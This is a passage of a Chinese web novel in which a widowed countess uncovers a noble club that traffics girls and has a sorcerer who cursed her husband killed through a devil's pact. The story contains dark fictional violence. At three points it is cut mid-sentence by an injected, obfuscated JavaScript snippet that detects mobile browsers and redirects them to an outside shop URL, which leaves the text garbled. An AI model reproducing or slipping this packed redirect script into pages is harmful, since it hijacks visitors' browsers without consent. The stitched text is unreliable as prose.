我想您的动作已经触动了一部分人的利益，或许他们会采用此类的手段对您的生命产生妨害。 据我所知，有一种巫术可以让被害者的心脏莫名其妙产生尖锐的痛感，原理类似于阿卡索王子将您的病痛转移到石头上，让河水带走。 施术者会用某种手段将橘子或者别的什么动物的心脏与目标的心脏相连，如此施术者在揉捏橘子的时候，目标的心脏也会觉得被攥紧。 我不知道这种巫术的防御手段，建议您采取一定的措施，我认为您至少需要三位术士为您和王子的日常生活做出防护。 关于在阿卡索王国售卖化妆品的想法，我和珍妮曾经对此有过讨论。因为寒冷的气候，化妆品的很多原料在阿卡索王国难以获取，所以我们并不计划开设工厂。 不过我们可以将亚基亚德□□产的化妆品运输到阿卡索王国，这样一来路线是一个大问题。 或许您可以推动修建一条商路，这是一笔不错的买卖，商人们想必也愿意为此捐款。 涉及到您的安全，希望您能认真考虑我关于术士的建议。 希望您在阿卡索□□活愉快，一切顺利，在此献上我最衷心的祝愿。 您忠诚的辛蒂·里德 28. 遗产 把自己关在房间里一个星期之后，重新出现在众人面前的里德夫人再也看不到从前的天真柔软，原来透亮的蓝眼睛变得沉沉的，似乎随时都在酝酿着风暴。 管家则松了口气，要是里德夫人一蹶不振，他们就要再次向戈尔曼夫人求助了，无论如何，里德府偌大的产业都需要有人打理。 从里德伯爵的葬礼后一直都守在康特赛德庄园的律师团队出现在了辛蒂的面前，开始向伯爵的遗孀交代遗产事宜。 维尔图斯对于自己的死亡做出了充分的准备，在他早早就立好的遗嘱里，除了留给姐姐捷琳娜的嫁妆，辛蒂几乎继承了他的所有财产。 这些财产包括大约十万金币的现金、二十多个上好地段的商铺、五家大型工厂等等，当然，这些都是可以写出来的明面上的财富。 此外，维尔图斯还建立起了一个颇为隐蔽的消息网，之前亨利王子的消息维尔图斯就是通过这条渠道得知的。 现在，这些东西都是辛蒂的了。 这可以说是辛蒂嫁给维尔图斯之前预设的最好不过的情况，她成为了一个自由的寡妇，拥有了一大笔这辈子都挥霍不完的财富，未来还有足够的资源供她研究魔法。 可是辛蒂并不喜悦，维尔图斯给她的越多，她的痛苦就越深。 她现在才知道，在她不知道的地方，维尔图斯为了维持过去两年的辛蒂以为的平静生活原来花了那么多精力。 她的商人父亲从没来烦过她，不是因为敬畏，而是维尔图斯已经用了大把的资源让他吃得满嘴流油。 莫罗夫人曾经带着艾米利亚和西尔维亚上门，希望辛蒂能帮助两个继姐找到好丈夫，她们还没见到辛蒂就被维尔图斯挡了回去。 还有那些关于一个商人的女儿凭什么成为伯爵夫人的言论，在传到辛蒂的耳朵之前就被清理干净了。 甚至连里德府里的仆人都经过了一遍遍的筛查，务必不让女主人感到一丝不愉快。 现在辛蒂重新领会到了维尔图斯死前最后说的话，“没有人会像我一样爱你”，是的，再也不会有人像维尔图斯一样爱她了。 辛蒂面无表情地检视着管家给她的账簿，她划掉了每个月给詹姆斯的500金币的投资，并吩咐管家以后不需要对詹姆斯的生意予以格外优待。 每个月为她定做服装和首饰的支出也要削减；去东方寻找厨师的队伍让他们返程；还有许许多多围绕着她的支出，大部分都要切掉。 这些都是维尔图斯为了给她打造出童话一样的幸福生活的支出，辛蒂认为自己现在没有资格享受这些东西。 她现在唯一的目标就是为维尔图斯复仇，让所有该死的人都滚去地狱。 一个月后，新寡的里德夫人回到了都城，这个消息在贵族中掀起了一阵小小的波澜。 里德夫人的美貌众所周知，而且所有人都认为，女人，尤其是美丽的女人，是不太可能独身的。 已经有赌局在猜测里德夫人会成为谁的情妇，其中亨利王子的赢面最大。 消息灵通的埃莉诺·杜卡斯带着乔瓦娜的问候来到了里德府。 “辛蒂，你比之前在伯爵葬礼的时候瘦了许多。” “最近新上的剧目很有意思，有空我们可以一起去看。” “里德府似乎冷清了不少，是不是应该再添些人了？” 埃莉诺尽可能扯一些乱七八糟的话题，让氛围不那么沉重，她有点不适应沉静异常的辛蒂。 维尔图斯的去世让里德府人心浮动，辛蒂刚刚清理了一批心思不太老实的仆人。 原本维尔图斯挑选的管家十分忠心，可是他因为男主人的去世过度操劳，最近竟然生病了，辛蒂于是主动接过了这些事务。 以前有维尔图斯和管家压着，女管家还算老实。辛蒂管家后，她觉得这位年轻的里德夫人不懂这些琐事，竟然想要拿捏辛蒂。 辛蒂确实不太懂，不过她的灵性能帮助她分辨出心思不纯的人，找个借口辞退了女管家还有她的附庸者，里德府清净了许多。 辛蒂微微颔首，蓝色的眼睛竟然让人有些看不透：“我没事，不如跟我说说最近有哪些新闻？” 埃莉诺本来还想跟辛蒂聊聊维尔图斯，她认为辛蒂现在是在压抑着自己的情绪，发泄出来会好很多。 而辛蒂显然不想说这些，埃莉诺只好挑了一些有趣的事告诉她。 “亨利王子最近解除了禁足，奇怪的是，他似乎对塞拉菲娜产生了兴趣，好些人看到他们在一起呢。” 亨利王子的名字让辛蒂眯起了眼睛，他在她的怀疑名单之中，不过优先级不高，她最怀疑的是地狱之火俱乐部的人，尤其是那些被削减了爵位的先生们。 她通过消息网得到了一份名单，主要是朱利安·伯克利公爵以及伊莱·冯公爵，这两位是地狱之火俱乐部的主要成员，这次一个被削减爵位为侯爵，一个被剥夺了封地。 这两位在国王陛下的威慑下，未必敢对那些逃出来的女孩们动手，却肯定对于始作俑者恨之入骨，他们是辛蒂最怀疑的对象。 不过这里有一个疑点，他们为什么不诅咒她而是维尔图斯呢？她很确信自己没有感受到任何遭到诅咒的迹象。 其次就是亨利王子，他想要得到她，害死维尔图斯的动机最大。 辛蒂同样怀疑塞拉菲娜和罗莎，不过她们虽然跟她有点小小的恩怨，动机却没有强到要特意找人诅咒。 而且同样的，她们更应该诅咒她才对，而不是维尔图斯。 辛蒂的怀疑无法依靠占卜确认，因为涉及到一个比她强大得多的术士，她的占卜基本都被无效化了，她只能靠别的手段。 维尔图斯的消息网为辛蒂送来她所有怀疑人员最近的动向，看起来没什么特别的。 地狱之火的人都老实得跟鹌鹑一样，一点动静都没有，亨利王子最近刚解除禁足，没什么动作。 值得注意的是，之前维尔图斯离开都城的时候让他们查的关于流浪诗人的指使者有了眉目。 这并不是什么隐秘的事，之所以到现在才有结果完全是由于这位流浪诗人因为坑蒙拐骗被丢进了大牢，直到最近才被放出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760631|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 前段时间的事情太多，消息网里是否需要采取进一步行动的请示被忽略了，以至于到这个流浪诗人出来后他们才“问”到了花钱让他散播里德夫人的美貌的人。 于是辛蒂意外得知了这个人竟然就是当时在场，还对辛蒂态度莫名怪异的男爵夫人，塞拉菲娜。 结合她最近的一些别的消息，和亨利王子走得很近之类的，辛蒂认为她应该知道许多事。 辛蒂决定主动拜访塞拉菲娜，她现在一定很替辛蒂感到“高兴”，两个寡妇的会面，想想就很有意思。 辛蒂正要出门，意外来客找上门来。 詹姆斯带着莫罗夫人以及她的两个继姐来了，同时还有塞满了马车的大包小包。 辛蒂挑挑眉，停住了欲上马车的步子：“你们来做什么？” 詹姆斯露出一个讨好的笑容，他最近胖了不少，原本还看得过去的脸多了几分油腻。 “小辛蒂，听说你回来了，我和你母亲来陪你住几天，免得你寂寞。” 说着，他就要指挥仆人往房子里搬运行李。 不过没有仆人听从他的命令，最近辛蒂清扫了一遍里德府，正是威望最盛的时候，没有她的话，没有人敢轻举妄动。 一时间局面僵住了，莫罗夫人刻意做出亲昵的姿态道：“小辛蒂，你一个小女孩怎么把持得住这么大一个里德府呢，你需要帮助。” “里德伯爵去世了，这些仆人不一定会听你的话。” “我们是家人，在这种时候就应该共度难关。” 要是辛蒂12岁，说不定就被莫罗夫人的话唬住了，可是辛蒂现在已经20岁了，这样的话只让她露出了嘲讽的笑。 多跟他们说上一句话都是浪费时间，辛蒂现在已经完全不需要跟他们周旋了，直接吩咐管家送客。 随即辛蒂坐上马车率先离开，不再理会后面的四个人的大呼小叫。 苍蝇的嗡嗡声终究烦人，辛蒂想了想，吩咐下面的人给詹姆斯的生意找些麻烦，同时给莫罗夫人的女儿介绍一些表面上看上去不错的绅士。 这些应该够他们忙上一段时间了，运气好的话他们再也不会有空来骚扰里德府。 辛蒂突如其来的拜访让塞拉菲娜觉得十分意外，她的日子显然十分好过，身上不再有需要遮掩的伤痕，脸色红润极了，衣裙穿戴无一不奢侈。 塞拉菲娜请辛蒂在客厅坐下，这里正好可以看到花园，之前辛蒂放的火已经完全没有了痕迹，花园的窗景就像辛蒂想象中一样宜人。 塞拉菲娜不知道辛蒂的来意，但是不妨碍她对比自己和辛蒂的情况，进而产生浓浓的优越感。 伯爵夫人怎么样，住的房子没她大，经济看来也不如她富裕，不过是虚衔。 长得美又怎么样，最后只能成为别人的玩物。 塞拉菲娜沉浸在自己的世界里，辛蒂的第一句话就让她的优越感破了一个洞。 “你还在为地狱之火俱乐部做那些买卖平民少女的勾当吗？” 塞拉菲娜慌乱了一瞬，随即立马掩饰 29. 寡妇 辛蒂嘴角的笑意愈发明显：“你知道布莱克男爵是地狱之火俱乐部的替死鬼，还敢继续做那些勾当，我不得不佩服你的胆量。” 作为布莱克男爵的遗孀，塞拉菲娜确实什么都清楚。 成为第五任男爵夫人，塞拉菲娜没有选择。布莱克男爵沾上的小姐，谁敢跟他抢？敢的看不上塞拉菲娜，看得上塞拉菲娜的先生害怕布莱克男爵的背景。 婚后的生活当然不好过，有时候被折磨得只剩一口气了，塞拉菲娜就会想到辛蒂，一个商人的女儿，没有本事也没有手段，凭什么过得比她好？ 比起害她至此的莫罗夫人，塞拉菲娜更恨辛蒂，原本落到这个处境的是她才对。 布莱克男爵有一间专门的他称之为放纵室的房间，里面有各种各样的道具，从简单的绳索手铐，到和牢房里一样的烙铁之类的刑具，可以说是应有尽有。 塞拉菲娜每天都会体验到不一样的东西，她实在是忍受不了日复一日的折磨，而且逐渐的，布莱克男爵的道具已经脱离了情趣的范畴了。 她知道，到他使用完所有道具，对她失去兴趣那天，就是她的死期。 终于有一天，塞拉菲娜把陪伴自己从小一起长大的女仆给了他，那天她睡了个好觉，女仆死不瞑目的双眼竟然没能让她产生什么情绪波动。 她只觉得庆幸，还好死的不是她。 自认为找到了办法的塞拉菲娜开始为布莱克男爵寻找年轻貌美的处女。 把目光投向外面的世界后，塞拉菲娜发现自己以前实在是太愚蠢了。打着高薪聘请女仆的旗号，天真的乡村少女们甚至都城里的平民女孩简直前仆后继，取之不尽。 这些新鲜的□□虽然不能完全让塞拉菲娜免除折磨，却也让她轻松了不少。 布莱克男爵很欣赏塞拉菲娜的聪明，他开始真正把塞拉菲娜当作自己的妻子，还告诉了她关于地狱之火俱乐部的事。 这些事只是听着塞拉菲娜就觉得浑身发冷，为了避免自己会有这样的下场，她更加尽心尽力地为男爵甚至为整个地狱之火俱乐部的大人们搜寻“耗材”。 安娜公主的故事让塞拉菲娜有了点别的想法，为什么辛蒂可以做高高在上的伯爵夫人，她也要把她拖到这个泥潭里。 她不敢直接告诉男爵她的想法，而是买通了一个吟游诗人，让他想方设法最好让整个亚基亚德王国的人都知道辛蒂的美貌。 盛名之下狂蜂浪蝶必然蜂拥而至，地狱之火俱乐部的人会囚禁一位美丽的公主，未必就不想囚禁比安娜公主还美的伯爵夫人。 可惜这个计划还没有施行多久，布莱克庄园事发，男爵被处以绞刑。 塞拉菲娜高兴之余，开始惶恐自己的处境。她生怕自己遭到连累，毕竟那些女孩都是她骗来的。 好在地狱之火俱乐部的人觉得她好用，并没有让她和布莱克男爵落到一样的下场，甚至还保住了她男爵夫人的地位以及一部分财富。 当然，明面上她继承了所有男爵的遗产，实际上男爵的财富被那些大人们瓜分得差不多了，她几乎只留下了布莱克庄园和一些现金，仅仅足够生活。 为了保住小命，也为了金币，即使没有了布莱克男爵的逼迫，塞拉菲娜还是继续帮地狱之火俱乐部搜寻少女，只不过这次她学聪明了，去更偏僻的地方，行事更加隐秘。 只是这些事，辛蒂·里德是怎么知道的？ 看到塞拉菲娜的脸色难看，辛蒂凑到她的耳边：“再告诉你一件你不知道的事。” “你就没想过为什么布莱克男爵会因为囚禁平民被判处死刑吗，贵族有豁免权不是么。” “让我告诉你吧，地狱之火俱乐部引诱了不该引诱的人——亨利王子，这是国王陛下发泄怒火的结果。” “你猜猜看亨利王子一解除禁足就来找你这么一个不美丽的寡妇，国王陛下会怎么想？” “一个恬不知耻的寡妇，为了攀附权贵，再次引诱向好的亨利王子进入深渊。”辛蒂的耳语对塞拉菲娜来说像极了恶魔的低语，让她不禁打了一个寒战。 塞拉菲娜惨白的面色让辛蒂觉得很有意思，像是即将和朋友谈论一个小八卦，她的语气带上了几分愉悦。 “我不介意提前告诉国王陛下这件小事，他不会管教自己的儿子，只能管管王子身边的人了。” 像是抓到了什么救命稻草，塞拉菲娜强作镇定地威胁辛蒂道：“你就不怕遭到王子和地狱之火俱乐部的报复吗？” 她的话让辛蒂大笑，笑出了声音和眼泪。 辛蒂一字一顿：“让他们尽管来好了。” 在塞拉菲娜看疯子一样的目光中，辛蒂用手帕按按眼角的泪花，她的语气恢复了平淡：“我可以帮你脱离他们的掌控，离开亚基亚德王国，去一个别的什么国家开启新生活。” “不过你得帮我办一件事。” 眼下塞拉菲娜面前的道路无疑是艰难的，辛蒂的话她不得不信，依靠地狱之火俱乐部绝不是长久之计，她早晚会成为下一个替死鬼。 相信辛蒂似乎是一个更优的选择，还能有一丝活着的希望。否则国王陛下知道了她，这更是死路一条。 塞拉菲娜没有犹豫太久，答应了辛蒂的条件。 辛蒂不怕她撒谎，没人能骗得过辛蒂的灵性，从她的气场颜色也能看出塞拉菲娜已经完全生不起反抗的心思了。 塞拉菲娜将她知道的关于地狱之火俱乐部的事全部告诉了辛蒂。 从成员到各自的癖好，十分详尽，比消息网给的全面许多。亨利王子竟然是其中玩得最大的那一个，其他人比起亨利王子，只能算是增加情趣。 亨利王子看上去是一个很温柔的绅士，这种温柔对于他的妻子和情人来说表里如一。 只有塞拉菲娜和少数人知道，要想让亨利王子尽兴，非得一条人命才行。 更少有人知道的是，安娜公主正是死在亨利王子手里，那一天对于亨利王子来说是最为甘美的回忆，值得在夜深人静的时候反复回味品尝。 尊贵的地位，美丽的容貌，这些都是极好的兴奋剂，再也不会有比那更好的体验了。 亨利王子如此已经称得上暴虐了，这个的严重程度和其他人的小癖好完全在两个等级，怪不得塞拉菲娜如此心虚，只是稍稍一威胁就妥协了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760632|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过除此以外塞拉菲娜就没什么知道的东西了，说得难听些，她跟那些库里特斯街的鸨母本质上没什么两样，甚至更为不堪，她还还出卖人命。 辛蒂问她最近有没有发生什么让她觉得怪异的事，她还真想出来一桩。 “地狱之火俱乐部的成员一般都很稳定，只接受严格审查后的老带新，而且必须是贵族。” “大概一个半月前，冯公爵大人带了一个不是贵族的很奇怪的男人来，他穿着黑色的长袍，似乎对女人并无兴趣，只是坐了一会就走了，后面再也没见过他。” 辛蒂神色一动，一个半月前穿黑色长袍的男人，时间和特征都能对上。 “他是不是面容十分普通，见之即忘？” 塞拉菲娜点点头，她确实已经想不起来那个男人的样子了。 辛蒂的神色暗了下来，让塞拉菲娜无端想到了阴天的湖水。 “关于这个男人，我需要你尽可能回想，告诉我关于他的一切信息。” 塞拉菲娜想要反驳，时间都过去那么久了，不过只见过一面，她还能想到什么细节？ 不过辛蒂的神色实在难看，她不敢拒绝，只好绞尽脑汁冥思苦想，还真让她想起来一点有价值的东西。 “哦对！他们称呼那个男人为索西尔，这个名字有点奇怪，我才有点印象。” 索西尔，和魔鬼签订契约的人么，是他没错了。 术士的名字在辛蒂的唇齿间回荡，像是要用牙齿把这两个字磨得粉碎。 不过辛蒂还需要进一步验证一下，在一无所知的时候，辛蒂难以得到准确的占卜结果，不过现在知道了一个名字，占卜会变得容易些。 “索西尔是害死维尔图斯的术士吗？” 她迫不及待地借用了更衣室进行占卜，灵摆给了肯定的答案，辛蒂松了口气。 感谢塞拉菲娜，她的仇恨终于有了确切的对象。就凭这一点，在塞拉菲娜完成了自己应该做的事后，她会给她一个爽快些的死法。 告诉塞拉菲娜她要做的事后，辛蒂急切地赶回了里德府，她要把自己的恨意全部酿成毒液，灌进那个名字里，索西尔。 能被一本基础书籍作为例子引用的，不是最经典的就是最简单的，《神秘学起源》中的和魔鬼的交易仪式属于前者。 达成仪式的实施难度一般，初学者或许可以做到，却鲜少有人愿意付出那样大的代价。 不过过程很具有教学价值，所以也被详细列了出来。 在辛蒂看来，这个仪式简直是为她而生的，可以无视她和索西尔之间的能力差距，一击索命，唯一的缺点是只能用一次。 在这个仪式中，施术者唯一的筹码就是生命，辛蒂略略计算了一下，为了达成目标，她至少要付出去半条命才行。 所以只能用一次，她没有更多的生命力可以继续作为筹码了。 较为罕见的是，这个仪式是有明确的破解办法的，索西尔如果选择流失同等的生命，便可以保住性命，达成魔鬼两边通吃的局面。 当然辛蒂不会给索西尔这样的机会，为此她愿意赌上更多，以确保他无法翻身。 30.交易 魔鬼比神明更容易讨好，辛蒂只需要用一些指尖血作为为魔鬼先生准备的餐前甜点，再佐以召唤的咒语，不那么标准的咒语也没关系。 不过需要注意的是，魔鬼一向贪婪而且不那么守规矩，辛蒂需要用圣水为自己制造一个绝对安全的圈，并且无论如何都不能踏出去。 耐心等待片刻后，辛蒂的灵性微微一动，她的客人来了。 魔鬼先生十分符合辛蒂的刻板印象，青面獠牙，浮在半空，下身是个尾巴尖儿。 “愚蠢的人类，你召唤我来是想要得到什么？” 辛蒂被唬了一跳，下意识觉得有些不对，这太过于刻板了，而且很有东方特色。 联想到书里写的神明和魔鬼不可直视的说法，她眼前的不是真正的魔鬼？ 不，灵性的提示不会作假，换个思路，她直视的或许不是真的魔鬼，而是一个辛蒂本人决定的幻想。 这个想法一出，眼前的魔鬼先生消失了，只留下一团没有形状的纯黑色能量体。 辛蒂只看了一眼，准确地说她只看见了一点边缘，就感觉受到了难以言喻的引诱，似乎只要靠近，她就能得到自己想要的一切。 不知不觉间，辛蒂的脚步险些就要踏出那个圣水划出的圈，灵性及时给予示警，辛蒂这才清醒过来。 辛蒂不敢再看，好在实际上他们也不用依靠声音交流。几乎是一秒钟之内，整个过程简洁得不可思议，脑子里闪过几个念头的功夫，灵性提示她交易完成。 黑色的能量体消失了。 灵性的交流就好像辛蒂自言自语一样迅速顺畅，她清楚地知道魔鬼已经接受了这笔交易，与此同时，索西尔死了。 辛蒂的脑海中闪过了他的死状，他似乎在一个宴会上，旁边就是伊莱·冯，正在将他引荐给别的权贵。 这位索西尔不再是一身黑袍，而是像个贵族一样衣着华丽，胸口别着黄金制成的胸针，眼睛里跃动着对于权势的渴望——看来他得到了丰厚的回报。 可惜他的美梦做到头了，上一秒索西尔还露出微笑，下一秒他的笑容就僵在了脸上，随即直挺挺地倒地身亡。 辛蒂看到他旁边的冯公爵惊恐地大叫，辛蒂并不觉得十分快意，索西尔不过是被指使的人，真正的凶手还没有得到应有的惩罚。 接下来是地狱之火俱乐部，他们就不会死得这么轻松了。她会用世俗的手段一点点折磨他们，直到悔意将他们焚尽。 交易结束后辛蒂没有感到任何不适，在她三十岁左右的时候魔鬼才会取得他的报酬，这是谈判的内容之一，辛蒂需要足够的精力来实施接下来的计划。 没了术士的阻挠，辛蒂再次使用灵摆占卜，试图精准定位到地狱之火俱乐部中对她和维尔图斯下手的某几个人。 可是占卜还是失败了，辛蒂确信地狱之火俱乐部里再没有别的疑似术士的人，为什么会失败？ 辛蒂很快有了合理的猜想——因为涉及皇室。皇室没几个人了，辛蒂称得上认识的也就是亨利王子。 也就是说，亨利王子也参与其中，就是不知道他在里面扮演了什么样的角色。 第二天辛蒂应邀到亚基亚德公爵府做客。 因为两国关系的波动，乔瓦娜和阿卡索王子的婚约一拖再拖，眼下终于确定了日期，他们即将在一个月后履行婚约。 波折的婚事并没有让乔瓦娜焦虑，她回给辛蒂的信件中，坦言要是换做是之前，她大概率会因为这些事患得患失。 不过现在她因为拥有了一份完全属于自己的收入，金额虽然不算很多却也不少，足够让她感到踏实。 因此面对这种自己似乎在“贬值”的局面的时候，乔瓦娜惊讶地发现自己并没有那么焦虑。她想，这或许就是辛蒂以前说的自己拥有力量后的“安全感”。 辛蒂这次上门主要是欣赏她最终的婚礼礼服，不得不说，公爵府的裁缝审美绝佳，辛蒂只是稍加建议她们就做得极其完美。 一袭白纱的乔瓦娜美得惊心动魄，辛蒂开玩笑道：“亲爱的乔瓦娜，我都要拜倒在你的裙下了，要是我是个男人，一定要娶你回家不可。” 乔瓦娜捂嘴轻笑：“要是你是个男人，肯定能骗倒不少小姐呢。” 玩笑一阵后，辛蒂忽然询问乔瓦娜：“乔瓦娜，我需要你帮我引荐国王陛下，我有些事想要告诉他。” 一个女人想见一个男人能是为了什么？ 听到这话的乔瓦娜仔仔细细地打量了一遍辛蒂，比起两年前青涩的少女，辛蒂现在成长了不少，同时兼具着少女的年轻娇嫩以及少妇的轻熟魅力。 乔瓦娜敢保证，没有哪个男人不会为这样的女人心动，卡修斯·亚基亚德也不会例外。 “亲爱的辛蒂，我认为你制造一场偶遇比较好，能让国王陛下对你留下更深刻的印象，也不会显得特别刻意。” 辛蒂瞬间领会了乔瓦娜的意思，她有些哭笑不得：“我对国王陛下没有兴趣，我想他对我也没有，他之前还把我丢出了皇宫，还记得么？” “我的确有重要的事想要告诉国王陛下。” 乔瓦娜感到稍许尴尬，不过她仍然觉得对于现在的辛蒂来说，成为国王的情妇会是一个很好的选择。 她最近听闻了那些肮脏的赌局，没办法，世道就是这样，一个美丽的寡妇总是会受到更多的非议，一个强大的靠山因此显得尤为重要。 正好亚基亚德国王正在公爵府的藏书室中，当然不是碰巧，这是辛蒂计算好的时间点。 得到允许后，辛蒂走进那个偌大的藏书室，卡修斯国王还是在回廊上安静阅读，连姿势都和上一次没有任何区别。 辛蒂几乎产生了一种时间根本没有流逝的错觉，似乎闭上眼再睁开后她还是乔瓦娜的女伴。 可惜这是不可能的，时光不会因为任何人或者任何事回溯。 察觉到来人，卡修斯国王合上书本，褐色的眼睛注视着这个在他看来运气很好的女人：“里德夫人，你有五分钟的时间。” 虽然大多数人都认为里德府是个空壳子，但是在他这里里德府的富裕不算是什么秘密。 而这位里德夫人几乎没有花费任何力气就继承了这样一笔巨大的遗产 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16763115|190134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，即使他贵为国王，也感到颇为羡慕。 他原本不想见的，考虑到这位夫人坐拥的财富，他决定给她个面子。 “国王陛下，我想和您做一笔交易。里德府愿意无偿捐赠给王国十万金币，只需要您保证我的安全。” 辛蒂自知她目前的处境算不上安全，在其他人的眼中，她现在就是一个无依无靠的貌美寡妇，还有地狱之火俱乐部记恨着她，不知道什么时候就会采取进一步的报复行为。 亚基亚德王国最近刚打完仗，国库几乎一贫如洗，据说连大臣们的薪俸都快发不出来了，正是缺钱的时候。 国内都有一堆麻烦事，更别说东边的土耳其人虎视眈眈，军方大臣的书案上摆满了边境受到滋扰的军报。 就连西边的阿卡索王国也不算老实，原本谈好的合作和联姻现如今他们却态度暧昧，显然在预备着等亚基亚德王国倒霉后分一杯羹。 在这样内忧外患的情况下，辛蒂提出的捐款无疑可以解卡修斯·亚基亚德的燃眉之急。 至少可以给边防军换上一批新的军备，发动一场小小的战争让土耳其人老实下来。 卡修斯挑挑眉，这样无本万利的交易他没有拒绝的理由。 不过有点奇怪，他知道最近这位里德夫人受到许多关注，可是这些关注并不至于让她为自己的安危付出这样大的价码。 仿佛知道卡修斯的疑惑，辛蒂恰到好处地垂下眼睑，秀丽的脸庞上流露出丝丝恐惧：“国王陛下，好叫您知道，我认为我的丈夫不是因病去世的，而是被人害死的。” “原本维尔图斯的身体已经好转了许多，却在那天突然死去。我怀疑······我怀疑是巫术！” “我不知道是谁害死了他，但是我害怕，会有人用这样的手段对付我······” 卡修斯了然，原来是被丈夫的死亡吓破了胆。按照这位夫人的描述，里德伯爵确实有可能是被巫术害死的。 如今许多贵族对于巫术一无所知，这是由于从亚基亚德王国上一任国王，也就是卡修斯的父亲严厉清扫了国内的术士和女巫，并颁布了严禁巫术的法令。 原因似乎是卡修斯的祖父在位时，放任这些特异人士，使得不少人受害，最起码上一任亚基亚德国王就深受其害。 卡修斯的父亲在临终前嘱咐过他，绝不能放纵巫术的存在，卡修斯也一直严格遵守着父亲的命令，没想到在他不知道的地方竟然还有人敢于使用这种禁术。 卡修斯并不害怕巫术，他的父亲在位时，曾经花费了巨大的代价获得了神的赐福，以保证亚基亚德王室不会遭到巫术的迫害。 他有些发愁，他是一个很有原则的人，既然要拿人家的钱，肯定要办事。怎么样才能保护一位贵族夫人的安全无虞？ 难道要派一堆护卫每天寸步不离地守着这位里德夫人？这未免有些浪费人力，他现在得用的人也很紧缺，实在不愿意分出一部分人手。 还有对于可能存在的巫术的防御，卡修斯并不了解这方面的知识，这或许需要去国外请有名的术士，这样一来还要花上一笔钱。 31.毒液 忽然卡修斯想到了一个一分钱都不用花的绝妙的好主意：“里德夫人，你看这样如何，成为我的情妇，不管是谁，想来都不敢对我身边的人下手。” “有了这样一层关系，你也不会成为巫术的目标。” “当然，你不用履行相关的义务，你的情感生活也是自由的。” 辛蒂略一思考，觉得这样的方式相当不错，她也不愿意被一堆侍卫看守，或许还要加上一位术士，失去一定程度的自由，可能还会暴露一些秘密。 于是当晚，里德夫人就被亚基亚德国王带回了皇宫，第二天里德府的马车到皇宫接人，无数人都声称自己看见从皇宫出来的里德夫人满面春光。 此后，每隔一段时间都会有里德夫人和国王陛下幽会的消息传出，不少对里德夫人感兴趣的贵族都偃旗息鼓。 辛蒂·里德成为亚基亚德国王的新情妇的消息让不少人感到震惊。 其中反应最大的是捷琳娜·里德，她在一个宴会上当众宣布自己要和辛蒂断绝往来，认为她在维尔图斯没死多久的时候就迫不及待投向了别的男人的怀抱的行为实在是让她不耻，以及为自己的弟弟感到寒心。 辛蒂对此没有什么反应，更无意做出任何解释，捷琳娜离她远点也是好事，免得也像维尔图斯一样被她害死。 其他贵族的震惊更多是因为国王陛下，卡修斯·亚基亚德是一个十分长情的人，在王后还在世的时候，他没有任何情妇，和王后的感情极好。 王后去世后，即使无数大臣建议他再娶一位强国的公主，他也没有同意，坚称自己的妻子只会有一个。 他似乎对于自己的两个情妇也没有任何感情，只是定期去她们那里解决自己的需求。 相较而言，里德夫人显得十分特殊。亚基亚德国王不仅会让她在皇宫留宿，还有人看见国王陪着里德夫人逛街。 这让辛蒂在王国的社交圈中虽然地位不是最高的，却人人都不敢得罪。 地狱之火俱乐部也忌惮着亚基亚德国王，暂时不敢有任何的动作。 此时的他们深感卡修斯在位对他们的负面影响，真希望亨利王子能够早早即位，这样他们行事就不必再这样束手束脚。 而此时，辛蒂的计划却在有条不紊地进行中，她必须要弄清楚在诅咒维尔图斯的事情中，到底谁才是真正的主谋。 不需要等待太久，某天辛蒂得到塞拉菲娜的传信，伊莱·冯光顾了布莱克庄园。 塞拉菲娜现在听话极了，要是说之前受到辛蒂的威胁后她还心存妄念，计划着反咬一口。自从知道辛蒂成为国王的情妇后，她就什么小心思都没有了。 辛蒂不紧不慢地让管家准备马车，三刻钟后她出现在了塞拉菲娜特意为她准备的布莱克庄园里，一个专门用于偷听的房间之中，片刻后隔壁房间果然传来了动静。 一位库里特斯街出身十分擅长套话的女妓和喝了一点吐真剂的伊莱·冯，辛蒂马上就能听到完整的故事了。 “哦，大人，您真勇猛，我发誓，您是我遇到过的最棒的男人！”女妓三言两语就讨得了伊莱·冯的欢心。 随即她按照被吩咐的那样，小心翼翼地把话题引导了另外一个地方：“大人，您能跟我讲讲亨利王子吗？只有您这样尊贵的大人才能见到这样的大人物，求您给我讲讲吧。” 虽然在这样的时候提到别的男人让伊莱·冯觉得有些不悦，不过他今天不知道怎么了，老是想和人交谈，而且眼前的女妓伺候得他很舒服，他不介意多说一点。 “亨利王子么？哼！那就是个只会在女人肚皮上逞威风的废物······” “所有人都被他的外表骗了······要是你知道他怎么对待那些可怜的女孩的，我保证你会吓得尿□□里······” 